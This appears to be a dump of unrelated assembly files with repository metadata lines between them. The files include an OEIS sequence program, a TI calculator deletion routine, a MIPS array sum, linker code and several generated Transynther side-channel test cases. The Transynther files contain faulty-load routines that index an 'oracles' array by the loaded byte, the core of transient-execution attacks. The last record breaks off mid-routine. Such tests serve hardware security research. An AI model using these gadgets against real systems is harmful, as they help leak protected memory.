{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 9, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 59.052632 | 2,999 | 0.660428 |
97a65fd0745a58710a58665d4160c26e3462393d | 556 | asm | Assembly | oeis/168/A168067.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/168/A168067.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/168/A168067.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A168067: n*(n^7+1)/2.
; 0,1,129,3282,32770,195315,839811,2882404,8388612,21523365,50000005,107179446,214990854,407865367,737894535,1281445320,2147483656,3487878729,5509980297,8491781530,12800000010,18911429691,27437936779,39155492652,55037657100,76293945325,104413532301,141214768254,188900999182,250123206495,328050000015,426445518736,549755813904,703204309137,892896952465,1125937695330,1410554953746,1756239726979,2173896069267,2676004630260,3276800000020,3992462614581,4841325998229,5844100138822,7024111812630
mov $1,$0
pow $0,8
add $0,$1
div $0,2
| 69.5 | 492 | 0.859712 |
852801943e14cdbdb64e0c210b4e50b9d1b99141 | 553 | asm | Assembly | src/routines/delete.asm | zdimension/Cesium | bf202346ba89a6b413c0d19dd9faa4be89fc85a3 | [
"BSD-3-Clause"
] | 5 | 2018-08-22T13:26:03.000Z | 2021-08-29T14:31:32.000Z | src/routines/delete.asm | zdimension/Cesium | bf202346ba89a6b413c0d19dd9faa4be89fc85a3 | [
"BSD-3-Clause"
] | null | null | null | src/routines/delete.asm | zdimension/Cesium | bf202346ba89a6b413c0d19dd9faa4be89fc85a3 | [
"BSD-3-Clause"
] | null | null | null | DeletePrgm:
call CheckIfCurrentProgramIsUs ; let's make sure we don't delete ourselves ;)
jp z,DrawSettingsMenu
call ClearLowerBar
SetInvertedTextColor()
print(DeleteConfirmStr,4,228)
SetDefaultTextColor()
call FullBufCpy
waitForInput:
call _GetCSC
cp a,skZoom
jr z,DeletePrgmYes
cp a,skGraph
jp z,MAIN_START_LOOP
jr waitForInput
DeletePrgmYes:
ld hl,(prgmNamePtr)
call NamePtrToOP1 ; move the selected name to OP1
call _ChkFindSym
call _DelVarArc
call GetNextPrgmUp
jp MAIN_START_LOOP_1 ; reload everything | 25.136364 | 80 | 0.768535 |
cf4229bd2eb5cf452c5e60932a4e1c035c1b5252 | 8,856 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_4k_sm_/i7-7700_9_0x48_notsx.log_21829_1627.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_4k_sm_/i7-7700_9_0x48_notsx.log_21829_1627.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_4k_sm_/i7-7700_9_0x48_notsx.log_21829_1627.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xbd11, %rsi
lea addresses_WT_ht+0x598, %rdi
nop
nop
nop
nop
add %rbx, %rbx
mov $67, %rcx
rep movsl
nop
nop
nop
nop
nop
dec %r14
lea addresses_D_ht+0x11c50, %rsi
lea addresses_D_ht+0x13b78, %rdi
nop
xor %rbx, %rbx
mov $108, %rcx
rep movsl
and %rbx, %rbx
lea addresses_WC_ht+0x19adc, %r13
nop
nop
nop
nop
cmp %r9, %r9
movl $0x61626364, (%r13)
cmp %rdi, %rdi
lea addresses_D_ht+0xbc50, %rbx
add %r13, %r13
movw $0x6162, (%rbx)
nop
nop
cmp %r9, %r9
lea addresses_normal_ht+0x2d50, %rcx
clflush (%rcx)
sub $40348, %rbx
mov $0x6162636465666768, %r13
movq %r13, %xmm6
and $0xffffffffffffffc0, %rcx
movntdq %xmm6, (%rcx)
nop
nop
xor %r13, %r13
lea addresses_A_ht+0x183d0, %rsi
lea addresses_D_ht+0x1e7ec, %rdi
nop
nop
nop
inc %r8
mov $4, %rcx
rep movsq
xor %rbx, %rbx
lea addresses_WC_ht+0x125a6, %rdi
nop
nop
nop
xor $16496, %r14
mov $0x6162636465666768, %rbx
movq %rbx, (%rdi)
nop
nop
nop
add $15078, %rbx
lea addresses_normal_ht+0x103d0, %rsi
lea addresses_UC_ht+0x76c8, %rdi
clflush (%rsi)
nop
cmp $40927, %r13
mov $40, %rcx
rep movsq
nop
and $41891, %rbx
lea addresses_D_ht+0x7070, %rcx
clflush (%rcx)
nop
nop
nop
nop
cmp %r9, %r9
mov (%rcx), %si
nop
add %rcx, %rcx
lea addresses_A_ht+0x9090, %r8
clflush (%r8)
nop
nop
sub $10015, %rbx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
vmovups %ymm0, (%r8)
cmp %r13, %r13
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %rax
push %rdi
push %rsi
// Store
lea addresses_D+0x14bd0, %r12
nop
sub $16475, %rsi
movb $0x51, (%r12)
dec %r12
// Store
lea addresses_PSE+0x1a3d0, %r15
nop
dec %r11
mov $0x5152535455565758, %rsi
movq %rsi, (%r15)
cmp %r12, %r12
// Store
lea addresses_WC+0x53a0, %r12
nop
nop
nop
nop
cmp $59067, %rax
movb $0x51, (%r12)
inc %r11
// Store
lea addresses_RW+0x3bd0, %r14
nop
nop
cmp $42426, %r15
movl $0x51525354, (%r14)
nop
and %r12, %r12
// Store
lea addresses_D+0x14bd0, %r14
clflush (%r14)
nop
nop
nop
nop
nop
xor $20720, %rdi
mov $0x5152535455565758, %rax
movq %rax, %xmm5
vmovups %ymm5, (%r14)
nop
nop
nop
nop
add %rdi, %rdi
// Store
lea addresses_WT+0xa3d0, %r14
nop
nop
nop
nop
nop
and %r11, %r11
mov $0x5152535455565758, %r15
movq %r15, %xmm5
movups %xmm5, (%r14)
nop
nop
nop
add $45137, %r11
// Store
lea addresses_A+0x18090, %r14
nop
nop
nop
and %rax, %rax
mov $0x5152535455565758, %r12
movq %r12, (%r14)
nop
cmp %rsi, %rsi
// Store
lea addresses_WT+0x14fd0, %rsi
nop
nop
inc %r15
mov $0x5152535455565758, %rdi
movq %rdi, %xmm7
movups %xmm7, (%rsi)
nop
sub %r15, %r15
// Store
lea addresses_WC+0x9f10, %r12
sub %r14, %r14
movw $0x5152, (%r12)
// Exception!!!
mov (0), %r11
nop
nop
nop
nop
nop
cmp %rdi, %rdi
// Faulty Load
lea addresses_D+0x14bd0, %rdi
nop
nop
nop
nop
nop
xor $65182, %r11
movb (%rdi), %r12b
lea oracles, %rax
and $0xff, %r12
shlq $12, %r12
mov (%rax,%r12,1), %r12
pop %rsi
pop %rdi
pop %rax
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D', 'congruent': 0}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_D', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_PSE', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_WC', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_RW', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 11}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 3}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT', 'congruent': 6}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC', 'congruent': 6}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_D', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}}
{'dst': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 7}, 'OP': 'STOR'}
{'dst': {'same': True, 'congruent': 1, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WC_ht', 'congruent': 1}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 4}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 3}, 'OP': 'STOR'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 31.628571 | 2,999 | 0.6521 |
4c47830df9a0c49a99d0a59f1e5b8e5fcff7ef77 | 609 | asm | Assembly | asm/Fibonacci.asm | tclendo/tiny_vm | 87c55f66a3531b7cfe71d3ab5f06a573f932b4cd | [
"CC-BY-3.0"
] | null | null | null | asm/Fibonacci.asm | tclendo/tiny_vm | 87c55f66a3531b7cfe71d3ab5f06a573f932b4cd | [
"CC-BY-3.0"
] | null | null | null | asm/Fibonacci.asm | tclendo/tiny_vm | 87c55f66a3531b7cfe71d3ab5f06a573f932b4cd | [
"CC-BY-3.0"
] | null | null | null | .class Fibonacci:Obj
.method $constructor
.local ten,twenty
enter
load ten
const 10
new Fib
call Fib:$constructor
load ten
const 10
new Fib
call Fib:$constructor
store ten
load ten
const 0
roll 1
call Fib:Calculate
call Int:print
const "\n"
call String:print
load twenty
const 20
new Fib
call Fib:$constructor
load twenty
const 20
new Fib
call Fib:$constructor
store twenty
load twenty
const 0
roll 1
call Fib:Calculate
call Int:print
const "\n"
call String:print
return 0
| 16.026316 | 25 | 0.614122 |
45f4e0ad43ed9181704d7c41f60672890cdd34e5 | 971 | asm | Assembly | array.asm | Pikridas/Computer-Architecture-Basics | 8398b4b6480ec729ebe768750091090134fdda39 | [
"MIT"
] | null | null | null | array.asm | Pikridas/Computer-Architecture-Basics | 8398b4b6480ec729ebe768750091090134fdda39 | [
"MIT"
] | null | null | null | array.asm | Pikridas/Computer-Architecture-Basics | 8398b4b6480ec729ebe768750091090134fdda39 | [
"MIT"
] | null | null | null | .data
values: .word 1,15,0,-3,99,48,-17,-9,20,15
array: .space 40
prosthesi: .asciiz "TO APOTELESMA TOU ATHROISMATOS TOU PINAKA EINAI: "
.text
.globl main
main:
li $t0,0 #APOTHIKEYSH STOIXEIOU POU DIAVASA
li $t1,0 #ARITHMOS STOIXEIWN POU DIAVASA [ i ]
li $t2,0 #TO SUM MOU
la $s1,values #FORTWNW STON $s0 THN LISTA TWN VALUES
la $s0,array #FORTWNW STON $s1 TIN MNIMI POU DESMEYSA GIA TON PINAKA
pin:
beq $t1,10, print
lw $t0,0($s1) #PERNEI THN TIMH TOU VALUES
sw $t0,0($s0) #TIN APOTHIKEYEI STON PINAKA
lb $t0,0($s0) #PERNEI TIN TIMI TOU PINAKA
add $t2,$t2,$t0 #TIN PROSTHETEI STON KATAXWRITI POU EXW TO SUM
addu $s1,$s1,4 #PROSTHETEI 4 GIA NA PAEI STHN EPOMENH TIMH TOU VALUES
addu $s0,$s0,4 #PROSTHETEI 4 GIA NA PAEI STHN EPOMENH TIMH TOU PINAKA
addi $t1,$t1,1 #PROSTHETW KATA 1 TON ARITHMO TWN STOIXEIWN POU DIAVASA
bne $t1,10,pin
print:
li $v0,4
la $a0,prosthesi
syscall
li $v0,1
la $a0,($t2)
syscall
li $v0,11
li $a0, '\n'
syscall
exit:
li $v0,10
syscall | 22.581395 | 70 | 0.714727 |
03e9d9be2960dfcf684f9ba508cf3d254d1051d2 | 2,877 | asm | Assembly | install/mycomdat.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 28 | 2015-02-03T01:38:24.000Z | 2022-03-23T05:48:24.000Z | install/mycomdat.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 20 | 2015-01-02T14:51:20.000Z | 2021-01-09T21:37:19.000Z | install/mycomdat.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 9 | 2015-02-11T17:43:56.000Z | 2019-09-05T11:07:02.000Z | TITLE MYCOMDAT_INSTALL - Copyright (C) 1994 SLR Systems
INCLUDE MACROS
INCLUDE CDDATA
PUBLIC MYCOMDAT_INSTALL,MYCOMDAT_SEARCH
;
; INSTALL OR FIND A MYCOMDAT RECORD USING LNAME IN AX
;
.DATA
EXTERNDEF LAST_MYCOMDAT_LINDEX:DWORD,VIRDEF_MCD_HASH_TABLE_PTR:DWORD,VIRDEF_MCD_HASH:DWORD
EXTERNDEF LNAME_LARRAY:LARRAY_STRUCT,SYMBOL_LARRAY:LARRAY_STRUCT
.CODE PASS1_TEXT
EXTERNDEF ALLOC_LOCAL:PROC
MYCOMDAT_INSTALL PROC
;
;EAX IS ITEM TO STORE... SEGMENT:OFFSET
;
;RETURN EAX IS LINDEX, ECX IS PHYSICAL
;
CALL MYCOMDAT_SEARCH
JC L1$
CMP ESP,-1
RET
L1$:
;CMP EAX,16K
;JA L5$ ;VIRDEF SPECIAL...
;
;NEED TO ALLOCATE A MCD STRUCTURE
;
;EAX IS LNAME INDEX
;ECX IS LNAME_PPTR
;
;
PUSH EDI
MOV EDX,EAX
MOV EAX,SIZEOF MYCOMDAT_STRUCT
CALL ALLOC_LOCAL
PUSH EBX
MOV DPTR [ECX+_PTP_MCD],EAX
MOV EBX,EAX
MOV EDI,EAX
ASSUME EBX:PTR MYCOMDAT_STRUCT
MOV ECX,SIZEOF MYCOMDAT_STRUCT/4
XOR EAX,EAX
REP STOSD ;ZERO OUT RECORD
MOV [EBX]._MCD_LNAME_LINDEX,EDX
MOV EAX,LAST_MYCOMDAT_LINDEX
MOV LAST_MYCOMDAT_LINDEX,EDX
MOV [EBX]._MCD_NEXT_MCD_LINDEX,EAX
MOV EAX,EDX
MOV ECX,EBX
POPM EBX,EDI
RET
L5$:
;
;NEED TO ALLOCATE A MCD STRUCTURE
;
;EAX IS EXTDEF INDEX + 4000H
;ECX GETS POINTER
;
ASSUME ECX:PTR MYCOMDAT_STRUCT
PUSH EDI
MOV EDX,EAX ;SAVE EXTDEF_LINDEX
MOV EAX,SIZE MYCOMDAT_STRUCT
CALL ALLOC_LOCAL
PUSH EBX
MOV [ECX]._MCD_NEXT_HASH_PTR,EAX
MOV EBX,EAX
MOV EDI,EAX
MOV ECX,SIZE MYCOMDAT_STRUCT/4
XOR EAX,EAX
REP STOSD
MOV EAX,EDX
MOV [EBX]._MCD_LNAME_LINDEX,EDX
SUB EAX,16K
CONVERT_LINDEX_EAX_EAX SYMBOL_LARRAY,EDI
MOV [EBX]._MCD_SYMBOL_GINDEX,EAX
MOV EAX,LAST_MYCOMDAT_LINDEX
MOV LAST_MYCOMDAT_LINDEX,EDX
MOV [EBX]._MCD_NEXT_MCD_LINDEX,EAX
MOV EAX,EDX
MOV ECX,EBX
POPM EBX,EDI
OR EDX,EDX ;CLEAR CARRY
RET
MYCOMDAT_INSTALL ENDP
MYCOMDAT_SEARCH PROC
;
;EAX IS ITEM TO FIND... SEGMENT:OFFSET
;
;RETURN EAX IS LINDEX, ECX IS PHYSICAL,
;OR, ECX IS PLACE TO STORE...
;
;CMP EAX,16K
;JA L5$ ;VIRDEF SPECIAL...
MOV EDX,EAX
CONVERT_LINDEX_EAX_EAX LNAME_LARRAY,ECX
MOV ECX,EAX
MOV EAX,DPTR [EAX+_PTP_MCD]
OR EAX,EAX
JZ L2$
MOV ECX,EAX
MOV EAX,EDX
RET
L2$:
MOV EAX,EDX
CMP ESP,-1
RET
L5$:
;
;SPECIAL VIRDEF REFERENCE
;
PUSH EBX
MOV EBX,EAX
SUB EAX,16K
XOR EDX,EDX
MOV ECX,VIRDEF_MCD_HASH_TABLE_PTR
HASHDIV VIRDEF_MCD_HASH
MOV EAX,DPTR [ECX+EDX*4]
LEA ECX,[ECX+EDX*4 - MYCOMDAT_STRUCT._MCD_NEXT_HASH_PTR]
MCD_NEXT:
ASSUME EAX:PTR MYCOMDAT_STRUCT
TEST EAX,EAX
JZ DO_SEARCH_FAIL
MOV ECX,EAX
MOV EDX,[EAX]._MCD_LNAME_LINDEX
CMP EDX,EBX
MOV EAX,[EAX]._MCD_NEXT_HASH_PTR
JNZ MCD_NEXT
MOV EAX,EBX
POP EBX
RET
DO_SEARCH_FAIL:
CMP ESP,-1
MOV EAX,EBX
POP EBX
RET
MYCOMDAT_SEARCH ENDP
END
| 13.831731 | 92 | 0.704206 |
de304bd82d7ac2931107c1534e2560574ba09514 | 6,059 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_2021.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_2021.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_2021.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1bb7d, %r14
nop
nop
xor $40682, %rdi
mov (%r14), %r8w
nop
cmp %r10, %r10
lea addresses_UC_ht+0x1e37d, %r9
nop
nop
nop
nop
nop
sub $25193, %rcx
vmovups (%r9), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rdi
nop
nop
sub %r9, %r9
lea addresses_UC_ht+0x2cbd, %r14
nop
nop
xor %rbx, %rbx
movw $0x6162, (%r14)
nop
cmp %rcx, %rcx
lea addresses_A_ht+0x3575, %r14
nop
xor $52045, %r8
movl $0x61626364, (%r14)
dec %rbx
lea addresses_WC_ht+0x15a3d, %rsi
lea addresses_UC_ht+0xbd4d, %rdi
nop
nop
nop
nop
nop
cmp %r8, %r8
mov $39, %rcx
rep movsl
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_WC_ht+0xf141, %rbx
cmp %rcx, %rcx
mov (%rbx), %si
nop
nop
nop
nop
lfence
lea addresses_A_ht+0x1a1e0, %rcx
xor %r8, %r8
movb (%rcx), %r9b
nop
nop
mfence
lea addresses_D_ht+0xdcbd, %rsi
lea addresses_WT_ht+0x1603d, %rdi
nop
nop
nop
sub $41052, %r14
mov $56, %rcx
rep movsb
nop
nop
add %r10, %r10
lea addresses_WT_ht+0x97f9, %r14
nop
nop
nop
nop
nop
sub $44506, %rsi
vmovups (%r14), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rdi
and $46175, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
